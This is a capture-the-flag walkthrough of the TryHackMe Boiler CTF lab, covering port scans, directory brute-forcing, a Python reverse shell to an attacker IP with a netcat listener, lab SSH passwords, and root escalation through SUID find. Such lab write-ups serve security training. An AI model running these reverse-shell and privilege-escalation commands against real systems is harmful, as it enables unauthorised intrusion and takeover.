> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/boiler-ctf.md).

# Boiler CTF

**Room Link:** <https://tryhackme.com/room/boilerctf2>

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/SrBAn8n0Y5sEX0f0CJwZ" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/eItuAPfQSBPxEKciWuaC" alt=""><figcaption></figcaption></figure>

## TCP/21 - HTTP

**Kali**

```
ftp $VICTIM
ls -lah 
get .info.txt
```

<figure><img src="/files/30ni9GcIKJFQQXLTSrKR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ROip8gDyPTNAPCOMsZ5l" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wEvqNNPhs2RicR8EPtMH" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/xlbYfIIASssIpL5YASmF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eZvd9D7fNxZPf3wetBpf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9YCArI5mvgiAMCy56PuU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Ryuixf4A8xLgv7fDAObM" alt=""><figcaption></figcaption></figure>

**Kali**

```
gobuster dir -u http://$VICTIM/joomla -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/ei8V41efpI9rqkw9aTDQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SItdL4L0YJeEKFtZ1xYI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r6yFj0WSb0IuUzytZkDi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lnabKJnq9gWgcJMbbJ1g" alt=""><figcaption></figcaption></figure>

## **Initial Shell**

**Exploit:** <https://www.exploit-db.com/exploits/47204>

<figure><img src="/files/e7pXhlT2DFp6waS1RayG" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Browser command**

```
export RHOST="10.10.157.229";export RPORT=1337;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

<figure><img src="/files/GMW0vFDZvJWHJCDGCaRE" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

There is a file that has credentials

<figure><img src="/files/yOaLDqCSG0qqhMxHXEbD" alt=""><figcaption></figcaption></figure>

It was also possible to view from the browser

<figure><img src="/files/WScVrxSvwxYAkB7tqMqo" alt=""><figcaption></figcaption></figure>

## TCP/55007 - SSH

**Kali**

```
ssh basterd@$VICTIM -p 55007
Pass: superduperp@$$
```

<figure><img src="/files/4tedM2kWd3XRh0Cie6Eh" alt=""><figcaption></figcaption></figure>

There is a backup.sh script that is owned by user stoner, which has his credentials.

<figure><img src="/files/ChjZVESR1L8m0BBPsjL5" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh stoner@$VICTIM -p 55007                                            
Pass: superduperp@$$no1knows 
```

<figure><img src="/files/3elVeArf2wg1JHx93bcW" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**

We can exploit SUID for the find command

**Exploit:** <https://gtfobins.github.io/gtfobins/find/>

**Victim**

```
find / -perm -u=s -type f 2> /dev/null 
```

<figure><img src="/files/6LPBPVdHHq7uTt7kBKwH" alt=""><figcaption></figcaption></figure>

Had to specify the full path, it doesn't work if you don't

**Victim**

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

<figure><img src="/files/N2Aw4esJTs3HPkgOR8JP" alt=""><figcaption></figcaption></figure>
